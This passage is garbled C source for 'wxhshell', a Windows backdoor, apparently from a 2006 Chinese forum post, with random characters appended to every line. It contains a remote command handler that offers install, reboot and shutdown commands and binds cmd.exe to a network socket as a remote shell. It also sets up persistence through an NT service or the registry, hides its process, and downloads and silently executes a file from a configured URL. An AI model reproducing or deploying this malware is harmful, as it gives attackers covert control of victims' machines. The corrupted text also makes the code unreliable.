    switch(cmd[0]) { 5|3e&  
  M_v?9L  
  // 帮助 j9Yb x#  
  case '?': { ^G&3sF}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2H71~~ c  
    break; KmG  
  } T>TWU:  
  // 安装 ca i <,3H  
  case 'i': { K 0gI):  
    if(Install()) z>sbr<doa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @NhvnfZ  
    else 5oEV-6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o#) {1<0vg  
    break; x:-.+C%  
    } |-sPLU&s%  
  // 卸载 F+R?a+e  
  case 'r': { ^;!0j9"* :  
    if(Uninstall()) $mf u:tbP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,.eWQK~  
    else 1b=lpw 1}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oSiMpQu08  
    break; |4$M]Mf0  
    } E_Z{6&r  
  // 显示 wxhshell 所在路径 C~fjWz' V  
  case 'p': { O~j> ?  
    char svExeFile[MAX_PATH]; ojYbR<jn9  
    strcpy(svExeFile,"\n\r"); Xq'cA9v=$J  
      strcat(svExeFile,ExeFile); |*Z$E$k:  
        send(wsh,svExeFile,strlen(svExeFile),0); Lg8nj< TF  
    break; CYOI.#m2  
    } db'/`JeK b  
  // 重启 4XVCHs(  
  case 'b': { X%yO5c\l2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]7-&V-Ct*  
    if(Boot(REBOOT)) F, U*yj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @SCI"H%[  
    else { J>fQNW!{  
    closesocket(wsh); +"9hWb5  
    ExitThread(0); g^*<f8 ~d  
    } ;^t{Il'j  
    break; h(WrL  
    } 2,ECYie^  
  // 关机 )`^p%k  
  case 'd': { 6'\6OsH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %%(R@kh9  
    if(Boot(SHUTDOWN)) ^N8)]F,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s4&^D<  
    else { zD?oXs  
    closesocket(wsh); ~y=T5wt  
    ExitThread(0); Kw#so; e  
    } P[s8JDqu  
    break; \fr-<5w79  
    } gV&z2S~"  
  // 获取shell +`?Y?L^ J  
  case 's': { Y*mbjyt[?X  
    CmdShell(wsh); pr%nbl  
    closesocket(wsh); \u6^Varw  
    ExitThread(0); /}-CvSR  
    break; ^vG8#A}]  
  } 6e&>rq6C  
  // 退出 pp9Zb.D\  
  case 'x': { mPq$?gdp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wAnb Di{W  
    CloseIt(wsh); v\(2&*  
    break; v4@Z(M  
    }  }fp-5  
  // 离开 3fN.bU9_  
  case 'q': { Z7 E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^>"z@$|\:  
    closesocket(wsh); qzb<J=FAU  
    WSACleanup(); R8.CC1Ix  
    exit(1); K~ ;45Z2  
    break; '\jd#Kn'h  
        } (b`]M`Fc  
  } %YOndIS:  
  } V!)O6?l  
r|,i'T  
  // 提示信息 GF3/RT9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LjV]0%j?r  
} Web|\CH  
  } OyqNLR  
fu~ +8CE.  
  return; Bn>8&w/P  
} mrX^2SR  
EbqcV\Kb  
// shell模块句柄 b(9FZ]7S  
int CmdShell(SOCKET sock) >I=2!C1w  
{ ZJlEKib%2  
STARTUPINFO si; z0/} !  
ZeroMemory(&si,sizeof(si)); ^e+a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8i?l02  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  & y<ZE  
PROCESS_INFORMATION ProcessInfo; jsNF#yE>  
char cmdline[]="cmd"; Wh&8pH:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L/"0ws_  
  return 0; LzYO$Ir:g  
} >0l"P"]  
!ti6  
// 自身启动模式 (%`Q hH  
int StartFromService(void) k__$ Q9qj(  
{ ?&Pg2]g<  
typedef struct *cyeO*  
{ fryJW=  
  DWORD ExitStatus; n-DVT;y  
  DWORD PebBaseAddress; : }`-B0  
  DWORD AffinityMask; -,["c9'3  
  DWORD BasePriority; Iy }:F8F>g  
  ULONG UniqueProcessId; 8uA,iYD  
  ULONG InheritedFromUniqueProcessId; ]THPSw_y8  
}   PROCESS_BASIC_INFORMATION; =|=.>?t6Z0  
 x]z2Z*  
PROCNTQSIP NtQueryInformationProcess; @BNEiOAZ#  
;[a|9TPR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r7Ya\0gU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gt wT  
NH0qVQ@A  
  HANDLE             hProcess; hHDOWHWE  
  PROCESS_BASIC_INFORMATION pbi; c2K:FdB  
g (#f:"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }MlwC;ot  
  if(NULL == hInst ) return 0; HI@syFaJM  
z)uuxNv[R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5Vi> %5A>l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B<-kzt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uo-`>7  
pC_O:f>vJ  
  if (!NtQueryInformationProcess) return 0; nVJPR  
Pzb|t+"$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J+f!Ar  
  if(!hProcess) return 0; WKSPBT;  
"]\+?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mA{~Pp Sb  
[xKd7"d/n  
  CloseHandle(hProcess); iPrLwheb  
mg, j:,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8#Q$zLK42N  
if(hProcess==NULL) return 0; Oez>X=Xf  
D0BI5q  
HMODULE hMod; 5y?-fT]X  
char procName[255]; &hk-1y9QS  
unsigned long cbNeeded; [}fv  dW  
n3sUbs;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q~Z=(rP20  
Vrvic4  
  CloseHandle(hProcess); 5[Pr|AY  
l{D'uI[&  
if(strstr(procName,"services")) return 1; // 以服务启动 M2U&?V C!  
;}'D16`j  
  return 0; // 注册表启动 *cO sv  
} j+HHQd7Y  
L;od6<.*m  
// 主模块 @&}q} D  
int StartWxhshell(LPSTR lpCmdLine) Vi$-Bw$@  
{ pBw0"ff  
  SOCKET wsl; 07hF2[i  
BOOL val=TRUE; ~ Uo)0  
  int port=0; ]Ta N{"  
  struct sockaddr_in door; K!KMQr`  
EKp@9\XBC  
  if(wscfg.ws_autoins) Install(); \.g\Zib )  
)>c>oMgl  
port=atoi(lpCmdLine); [= |jZVhT  
b pv= %  
if(port<=0) port=wscfg.ws_port; i.:. Y  
~i.k$XGA  
  WSADATA data; $2%f 8&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KOwOIDt  
pn*3\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lq"f[-8a2q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BAO|)~1Pd  
  door.sin_family = AF_INET; J sEa23  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XQ*eP?OS{  
  door.sin_port = htons(port); d,by / .2  
P#:?ok  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wRrnniqf8  
closesocket(wsl); 3T&6opaF  
return 1; u~)`&1{%  
} Y\0}R,]a-  
pZU9^Z?~6  
  if(listen(wsl,2) == INVALID_SOCKET) { ci+tdMA  
closesocket(wsl); <ioO,oS'  
return 1; F H1Z 2  
} CwJDmz\tk  
  Wxhshell(wsl); Ks\ NE=;5  
  WSACleanup(); d9n?v)<v  
b<]n%Q'n  
return 0; *~/OOH$"  
8KH\`5<  
} $\k0Nup}  
.Udj@{  
// 以NT服务方式启动 &* E+N[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `f'K@  
{ K|oacOF9  
DWORD   status = 0; LbtX0^  
  DWORD   specificError = 0xfffffff; HD N9.5 S  
07Ed fe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6K-5g/hL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BW,mwq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iS?42CV  
  serviceStatus.dwWin32ExitCode     = 0; x}twsc`  
  serviceStatus.dwServiceSpecificExitCode = 0; [V 8{b{  
  serviceStatus.dwCheckPoint       = 0; Nl' )l"  
  serviceStatus.dwWaitHint       = 0; "}Me}S<  
.] `f,^v<c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2c/Ys4/H4]  
  if (hServiceStatusHandle==0) return; y ^;l*qq  
_f6HAGDN  
status = GetLastError(); iX\W;V  
  if (status!=NO_ERROR) C4}*) a  
{ YSaJeU>@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (|d34DOJ  
    serviceStatus.dwCheckPoint       = 0; {vo +gRYYv  
    serviceStatus.dwWaitHint       = 0; +x1eJug4  
    serviceStatus.dwWin32ExitCode     = status; Tz9`uW~Mf  
    serviceStatus.dwServiceSpecificExitCode = specificError; B(F,h+ajy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )(7&X45,k  
    return; ` \A(9u*  
  } wKH ::!  
,j5&6X=1M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /\) a  
  serviceStatus.dwCheckPoint       = 0; 5Q=P4w!'  
  serviceStatus.dwWaitHint       = 0; :{q"G#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "6a8s;  
} ~y$ !48o  
R1Ye<R!Q  
// 处理NT服务事件,比如:启动、停止 %AN/>\#p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iVfgDo  
{ ` gW<M  
switch(fdwControl) eyp,y2Tz  
{ Zatf9yGD  
case SERVICE_CONTROL_STOP: +ht| N[P  
  serviceStatus.dwWin32ExitCode = 0; ]m#5`zGK1|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JH7Ad (:  
  serviceStatus.dwCheckPoint   = 0; i55x`>]&sb  
  serviceStatus.dwWaitHint     = 0; S60IPya  
  { N0>0z]4;q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .qA{xbu  
  } >h+349  
  return; }CxvT`/  
case SERVICE_CONTROL_PAUSE: [j4v]PE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;#MB7A  
  break; B??J@+Nf  
case SERVICE_CONTROL_CONTINUE: "S&%w8V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1oKfy>ie  
  break; yFhB>i  
case SERVICE_CONTROL_INTERROGATE: I\ | N  
  break; { BEo &  
}; %c)[ kAU!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p h[\)  
} xmGk*W)P  
#'4OYY.  
// 标准应用程序主函数 Z2"? &pKV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rd3j1U  
{ LEECW_:  
I^Z8PEc+  
// 获取操作系统版本 u-"c0@  
OsIsNt=GetOsVer(); -=698h*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0J~Qq]g  
iq*A("pU  
  // 从命令行安装 UofTll)  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^zEE6i  
7~M<cD  
  // 下载执行文件 eo^/c +FG  
if(wscfg.ws_downexe) { $j)hNWI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2AVc? 9@  
  WinExec(wscfg.ws_filenam,SW_HIDE); XN,,cU  
} F^!mI7Z|(2  
mKq"3 4F  
if(!OsIsNt) { <5@PWrU?[[  
// 如果时win9x,隐藏进程并且设置为注册表启动 UK*qKj. )  
HideProc(); 69#8Z+dw7  
StartWxhshell(lpCmdLine); HEA eo!  
} Ri>?KrQF%  
else wcDjg&:=ml  
  if(StartFromService()) "8V{5e!%j'  
  // 以服务方式启动 V,%L ~dI  
  StartServiceCtrlDispatcher(DispatchTable); SK$Vk[c]  
else *R % wUi  
  // 普通方式启动 N_75-S7Cm  
  StartWxhshell(lpCmdLine); # fhEc;t  
^%y`u1ab  
return 0; {F|48P;J  
}
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只看该作者 1 发表于: 2006-10-10
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